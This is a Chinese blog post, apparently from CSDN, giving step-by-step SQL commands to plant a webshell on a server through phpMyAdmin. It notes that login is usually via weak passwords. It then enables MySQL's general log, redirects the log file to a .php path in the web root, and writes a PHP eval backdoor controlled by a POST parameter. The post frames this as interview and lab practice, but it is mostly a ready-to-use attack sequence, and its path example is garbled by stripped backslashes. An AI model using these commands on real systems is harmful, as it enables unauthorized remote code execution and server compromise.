fopen的路径怎么写_Phpmyadmin写日志getshell

本文介绍了如何通过phpmyadmin获取shell的步骤,包括查看数据库路径、开启日志、设置日志文件路径、写入shell代码等。强调了在面试中遇到此类问题时,可以尝试通过写日志文件来实现getshell。建议读者在本地环境中实践操作,以熟悉此技巧。
摘要由CSDN通过智能技术生成

这个算是一个很常见也很基础的getshell的方式,昨天有个小伙伴问到我这个问题,说面试的时候主管给了他一个phpmyadmin登录入口,让他getshell,由于实战经验较少,小伙伴那道题没拿到分。其实,看到phpmyadmin,第一反应就应该是写日志getshell。为了防止大家继续踩坑,特地科普一波。

大家看了以后记得在本地phpstudy环境内动手测试一下,以免后面再遇到这类面试题不知道怎么处理。


前提:mysql>5.0版本,进入phpmyadmin后台(一般都是弱口令进去)。

1.在知道网站绝对路径的情况下,直接去第二步,如果不知道网站绝对路径的情况下

#查看数据库存放路径

select @@datadir;

然后根据数据库存放路径猜测网站的绝对路径。

2.查看日志是否开启

show variables like '%general%';

一般这个日志记录是默认关闭的,需要我们手动开启

3.开启日志记录

SET GLOBAL general_log='on';

4.修改日志路径

set global general_log_file='D:phpStudyWWWshell.php';

#这里一定要用,或者使用/,不能使用。

5.写入shell

select "<?php eval($_POST['gg']);?>";

6.这样就可以用蚁剑连接我们的shell了。


首发于:

Phpmyadmin写日志getshell | web安全学习者的小窝​www.lstazl.com
f365b0ab1c5948f6429fb1b41f3512f5.png
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值